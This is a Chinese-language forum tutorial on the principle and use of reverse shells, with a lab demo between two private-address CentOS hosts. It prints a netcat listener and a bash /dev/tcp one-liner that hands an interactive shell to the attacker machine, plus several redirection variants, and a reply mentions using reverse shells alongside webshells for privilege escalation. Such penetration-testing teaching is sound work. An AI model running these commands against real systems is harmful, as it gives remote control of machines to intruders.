反弹shell的原理以及应用

ruif777   ·   发表于 2022-04-21 14:50:47   ·   技术文章

什么是反弹shell?

反弹shell(reverse shell),指的就是我们的机器监听在某TCP/UDP端口,然后在希望被我们利用的被控机器发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell其实差不多对应,本质上是网络概念的客户端与服务端的角色反转。

为什么要反弹shell?

什么时候会用到反弹shell呢?通常我们反弹shell,是因防火墙受限、权限不足或者端口被占用,我们无法直接连接利用,这个时候就应该通过反弹shell来获取命令行。
就想上面说的,其实反弹shell和telnet、ssh本质上都是差不多的,但telnet、ssh我们称之为正向连接,也就是我们有个基本目标,可以ssh 192.168.xx.xx,但有时候目标机器如果是dhcp获取的地址,很可能你的控制就断了,这个时候反弹shell的作用就很大了。
有以下情况可以利用反弹shell很好地代替ssh、telnet等正向连接:
1.某台机中了你的网马,但是它在局域网内,局域网有统一的出口地址,这种情况下你是无法直接连接的。
2.目标机器的ip动态改变,你无法持续获取主机权限。
3.由于防火墙等安全设备的限制,被控机器只能发送请求,不能接收请求。
4.对被控机器的环境不了解,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,这样一来就不用担心了。

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

反弹shell的应用

环境:我们可以利用两台CentOS7.6服务器来做实验(以下实验环境为本人搭建,并不是真实攻击)
攻击端 (我们的电脑):192.168.83.142
受害端(被控机器):192.168.83.130

1、首先我们利用攻击端监听接口信息,假设我们监听6767端口
nc -lvp 6767

2、被控机器直接执行命令
bash -i >& /dev/tcp/192.168.83.142/6767 0>&1

3、可以看到我们的攻击端已经获取到shell,可以执行命令了

实验原理解释

1. nc -lvp 6767

-l 监听,-v 输出交互或出错信息,-p 端口。nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口。

2. bash -i

-i interactive。即产生一个交互式的shell(bash)。

3. /dev/tcp/IP/PORT

特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

原理解释

所以实际上反弹shell命令bash -i >& /dev/tcp/192.168.83.142/6767 0>&1是由多条命令构成的,也可以根据把这条命令重组,拆成以下几种情况:
1、bash -i > /dev/tcp/192.168.83.142/6767
这种情况下,可以将受害端的标准输出重定向到攻击端,但是是无法在供给端用命令控制受害端的
2、bash -i < /dev/tcp/192.168.83.142/6767
这种情况下,可以将攻击端的输入重定向到受害端,但是我们攻击端看不到命令执行结果。
3、bash -i > /dev/tcp/192.168.83.142/6767 0>&1
这种情况下,基本实现了反弹shell的功能。但是受害端的机器上依然回显了攻击端机器上执行的命令,且攻击端看不到错误命令的输出。
4、bash -i > /dev/tcp/192.168.83.142/6767 0>&1 2>&1
这种情况下,攻击端已获得受害端的远程交互式shell,而且受害端没有再回显攻击端输入的命令。

希望看到这篇文章的人能多多动手,将后面的原理理解一下,同时也自己做个实验,一个成熟的渗透测试工程师离不开自己的动手能力!

用户名金币积分时间理由
逗鱼 4.00 0 2022-05-07 16:04:02 一个受益终生的帖子~~
逗鱼 0.80 0 2022-05-07 16:04:54 一个受益终生的帖子~~
逗鱼 0.80 0 2022-05-07 16:04:09 光头帅哥
Track-劲夫 50.00 0 2022-04-25 17:05:05 一个受益终生的帖子~~

打赏我,让我更有动力~

1 条回复   |  直到 2022-4-25 | 965 次浏览

by盛夏
发表于 2022-4-25

反弹shell还有一个作用,一般webshell管理工具都是非交互式shell,有些提权工具需要交互式shell才能正常运行,而反弹shell就是交互式shell,可以摆脱非交互式shell的一些限制

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.